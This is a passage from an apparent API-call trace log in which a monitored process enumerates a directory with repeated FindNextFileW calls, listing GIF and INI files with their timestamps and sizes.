ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x10f19, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR40F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x7d5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR41F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xdf73, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR42F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR43B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR43F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3606, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR44B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3026, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR44F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2019, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR45B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR45F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1349, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR46B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1377, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR46F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x80d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR47B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR47F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2b53, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR48B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x178c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR48F.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4a66, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR49B.GIF", cAlternateFileName="")) returned 1 [0069.644] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR49F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2a01, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR4B.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x76cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR4F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1001, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR50B.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR50F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4217, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR51B.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR51F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR5B.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xce72, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR5F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x24dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR6B.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x6e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR6F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x6054, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR7B.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x70bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR7F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR8B.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2204, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR8F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x445d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR9B.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5aec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR9F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x189e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPAPERS.INI", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR00.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR10F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1706, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR11F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x6499, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR12F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR13F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x645b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR14F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x452b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR15F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR16F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x34cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR17F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4be9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR18F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xc11, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR19F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR1B.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcafed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b75, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR1F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, 